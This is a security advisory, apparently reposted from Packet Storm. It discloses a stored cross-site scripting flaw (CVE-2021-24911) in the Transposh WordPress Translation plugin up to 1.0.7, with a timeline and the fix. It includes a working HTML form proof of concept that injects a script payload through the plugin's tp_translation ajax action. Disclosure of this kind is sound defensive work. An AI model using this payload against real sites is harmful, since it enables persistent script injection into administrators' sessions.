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Transposh WordPress Translation 1.0.7 Cross Site Scripting

🗓️ 29 Jul 2022 00:00:00Reported by Julien Ahrens, rcesecurity.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 304 Views

Transposh WordPress Translation 1.0.7 Cross Site Scriptin

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`RCE Security Advisory  
https://www.rcesecurity.com  
  
  
1. ADVISORY INFORMATION  
=======================  
Product: Transposh WordPress Translation  
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/  
Type: Cross-Site Scripting [CWE-79]  
Date found: 2021-08-19  
Date published: 2022-07-22  
CVSSv3 Score: 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)  
CVE: CVE-2021-24911  
  
  
2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.  
  
  
3. VERSIONS AFFECTED  
====================  
Transposh WordPress Translation 1.0.7 and below  
  
  
4. INTRODUCTION  
===============  
Transposh translation filter for WordPress offers a unique approach to blog  
translation. It allows your blog to combine automatic translation with human  
translation aided by your users with an easy to use in-context interface.  
  
(from the vendor's homepage)  
  
  
5. VULNERABILITY DETAILS  
========================  
The plugin's ajax action "tp_translation" which is available to authenticated or  
unauthenticated users (see CVE-2022-2461) allows to submit new translations.  
  
Translations submitted this way are shown on the Transposh administrative  
interface on the pages "tp_main" and "tp_editor". However, since the plugin does  
not properly validate and sanitize the submitted translation, arbitrary Javascript  
code can be permanently injected and executed directly within the backend across  
all users visiting the page with the roles of at least "Subscriber" and up to  
"Administrator".  
  
This offers a wide range of possible attacks, such as redirecting the user to a  
malicious page, spoofing content on the page, or attacking the browser and its  
plugins.  
  
  
6. PROOF OF CONCEPT  
===================  
The following PoC adds a new translation:  
  
<html>  
<body>  
<form action="http://[host]/wp-admin/admin-ajax.php" method="POST">  
<input type="hidden" name="action" value="tp_translation" />  
<input type="hidden" name="ln0" value="en" />  
<input type="hidden" name="sr0" value="0" />  
<input type="hidden" name="items" value="1" />  
<input type="hidden" name="tk0" value="xss<script>alert(1337)</script>" />  
<input type="hidden" name="tr0" value="test" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
7. SOLUTION  
===========  
Update the plugin to version 1.0.8.1  
  
  
8. REPORT TIMELINE  
==================  
2021-08-19: Discovery of the vulnerability  
2021-08-20: Contacted the vendor via their contact form  
2021-08-20: Vendor response  
2021-08-20: Sent all the PoC exploits  
2021-08-20: Vendor acknowledges the issues  
2021-09-14: Requested status update from vendor  
2021-10-07: No response from vendor, requested status update again  
2021-10-25: CVE requested from WPScan (CNA)  
2021-10-27: WPScan assigns CVE-2021-24911  
2022-02-22: Vendor releases 1.0.8, which fixes this vulnerability  
2022-07-22: Public disclosure  
  
  
9. REFERENCES  
=============  
https://github.com/MrTuxracer/advisories  
https://transposh.org/version-1-0-8-thanks-julien/  
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/  
`

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